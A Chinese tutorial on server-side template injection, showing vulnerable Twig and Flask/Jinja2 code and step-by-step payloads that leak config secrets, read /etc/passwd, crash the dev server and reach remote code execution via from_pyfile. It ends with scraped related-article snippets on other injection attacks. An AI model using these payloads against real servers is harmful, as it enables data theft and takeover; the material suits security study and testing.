服务端模板注入(SSTI攻击)

              服务端模板注入

1、模板注入原理

  和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;

  使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 $_GET["name"]

  显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,

  但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;

对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)

详情请看rickgray的服务端模板注入攻击 (SSTI) 之浅析

2、SSTI对基于Flask/Jinja2开发堆栈的应用程序的攻击

如果开发者使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string函数将URL传递进入模板内容当中:

 1 @app.errorhandler(404)
 2 def page_not_found(e):
 3     template = ‘‘‘{%% extends "layout.html" %%}
 4 {%% block body %%}
 5     <div class="center-content error">
 6         <h1>Oops! That page doesn‘t exist.</h1>
 7     <h3>%s</h3>
 8     </div>
 9 {%% endblock %%}
10 ‘‘‘ % (request.url)
11     return render_template_string(template), 404

注入姿势:

  1)、内省request对象。request对象是一个Flask模板全局变量,代表“当前请求对象(flask.request)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。在request对象中有一个叫做environ的对象。request.environ是一个字典,其中包含和服务器环境相关的对象。该字典当中有一个shutdown_server的方法,相应的key值为werkzeug.server.shutdown。所以猜猜看我们向服务端注入{{ request.environ[‘werkzeug.server.shutdown‘]() }}会发生什么?没错,会产生一个及其低级别的拒绝服务。当使用gunicorn运行应用程序时就不会存在这个方法,所以漏洞就有可能受到开发环境的限制。

  2)、内省config对象。config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值,包含若干独特方法的子类:from_envvarfrom_objectfrom_pyfile,以及root_path。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY之类的敏感信息。

  对于新加载的模块,from_object方法会将那些变量名全是大写的属性添加到config对象中。注入payload{{ config.items() }}就可以轻松查看这些配置了。

  3)、使用非常重要的内省组件: __mro____subclasses__属性。

    __mro__中的MRO代表方法解析顺序,并且在这里定义为,“是一个包含类的元组,而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__属性以包含类的元组来显示对象的继承关系,它的父类,父类的父类,一直向上到object(如果是使用新式类的话)。它是每个对象的元类属性,但它却是一个隐藏属性,因为Python在进行内省时明确地将它从dir的输出中移除了(见Objects/object.c的第1812行)。

    __subclasses__属性则在这里被定义为一个方法,“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。

  **  使用__mro__属性来访问对象的父类,使用__subclasses__属性来访问对象的子类。

  4)、{{ ‘‘.__class__.__mro__ }}作为payload注入到SSTI漏洞点当中,

    使用索引2来选择object类。现在我们到达了object类,我们使用__subclasses__属性来dump应用程序中使用的所有类(找到file类的索引)

    将{{ ‘‘.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞点当中  

  5)、任意文件读取POC:

     file类能够实例化文件对象,而且如果我们实例化了一个文件对象,那么我们就可用使用类似于read的方法来读取相关内容。

     找到file类的索引,在我的环境中<type ‘file‘>类的索引是40,我们就注入{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read() }}

      所以现在我们就证明了,通过Flask/Jinja2中的SSTI进行任意文件读取是有可能的。

  6)、第一种代码执行POC:

    file类不仅去读文件,而且也可以向目标服务器的可写入路径中写文件,

    然后我们再通过SSTI漏洞第二种代码执行poc调用from_pyfile方法去compile文件并执行其中的内容。这就是一个二次进攻。

    将{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘<malicious code here>‘‘) }}注入到SSTI漏洞点,

    然后在通过注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}调用编译过程。该代码在编译时将会被执行。这就实现了远程代码执行。

  7)、第二种代码执行POC:充分地利用from_pyfile方法。

    将{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘from subprocess import check_output\n\nRUNCMD = check_output\n‘) }}注入到SSTI漏洞点,

    注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}来将新的项目添加到config对象中,

    将{{ config[‘RUNCMD‘](‘/usr/bin/id‘,shell=True) }}注入到SSTI漏洞点。

详情请看LarryExploring SSTI in Flask/Jinja2

时间: 2024-10-13 02:35:00

服务端模板注入(SSTI攻击)的相关文章

Server Side JavaScript Code Injection Attack服务端js注入攻击

今天扫描器误报了这个漏洞,我觉着是误报了. 趁机了解一下, 好像是针对nosql与nodejs的服务端, 我觉着可能是js对于nodejs就是可执行的代码, 也就是任意代码执行, 这么一个攻击. stackoverflow上有一个http://stackoverflow.com/questions/27879131/server-side-javascript-code-injection-attack 巧了,看来我和他用了同款扫描工具,有了同样的问题. 看回答,大意竟是赞同他aspx可能有这个

WEB服务端安全---注入攻击

注入攻击是web领域最为常见的攻击方式,其本质是把用户输入的数据当做代码执行,主要原因是违背了数据与代码分离原则,其发生的两个条件:用户可以控制数据输入:代码拼接了用户输入的数据,把数据当做代码执行了. 下面是几种常见注入攻击及其防御方法: SQL注入及常见攻击技巧 经典注入  如: $username = $_POST['username']; $sql = "select * from usertable where username="."'".$userna

看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1.XML注入 在我们经常开发.使用.运维的系统中,XML的使用频率是非常的高的.我们给服务器提供数据可能是XML(对用户而言不是,对系统和服务之间是),服务器返回给客户端的可能也是XML. XML的功能本身非常强大,但是很多的时候我们并没有去理解它的强大的功能,而只是当它作为常规的数据传输的载体,于是这种漏洞的产生了. 2. XML注入实体的案例 百度上好像发现了某个功能被XML注入实体

2018护网杯easy_tornado(SSTI tornado render模板注入)

考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式. 网上看到的例子: #!/usr/bin/env python # -*- coding:utf-8 -*- from tornado.web import UIModule from tornado import escape class cust

SSTI(模板注入)

SSTI简介 何为模板引擎(SST) 百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档.          个人理解就是:一个html页面中没有实际内容,但是有变量,访问这个页面时需要将这个变量转换成预期的内容,这时候就需要用到模板引擎.php(或者其他脚本语言)代码通过访问模板引擎,模板引擎通过正则匹配产生一个新的缓存的html页面,从而实现php和html代码的分离

【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS等)

这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ? 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web框架安全.应用层拒绝服务攻击DDOS.Web Server安全等方面. @ 目录 注入攻击 SQL注入 盲注 Timing Attack 数据库攻击技巧 常见的攻击机巧 命令执行 攻击存储过程 编码问题 SQL Column Truncation 正确地防御SQL注入 其他注入攻击 文件上传漏洞 文件上传漏洞

看好你的门-攻击服务端(3)-SOAP注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1.SOAP注入攻击 服务器端的XML解析引擎从客户端接收输入信息,这里指的客户端可以是浏览器.来自网页应用程序的数据.一部移动设备或者是其它类型的来源.如果不对输入的信息进行正确验证,接收的结果就很可能出现错误,进而为攻击行为提供了便利. 从实际的角度来说,对SOAP的注入攻击漏洞是非常难寻找的,因为这些数据往往通过接口传输,而且很多的接口对错误的都是经过处理的. 2. SOAP注入攻击的

Word模板注入攻击

Word模板注入攻击 0x00 工具准备 phishery:https://github.com/ryhanson/phishery/releases office版本:office 2010 0x01 什么是Word模板注入攻击 Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码 0x02 通过远程模板注入盗取目标的各类普通账号密码 1.创

thymeleaf 无法正常解析页面(本地可以正常访问某个请求,并可以返回页面,但服务端访问出现找不到模板)

thymeleaf 无法正常解析页面(本地可以正常访问某个请求,并可以返回页面,但服务端访问出现找不到模板) 出错提示: Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.thymeleaf.exceptions.TemplateInputException: Er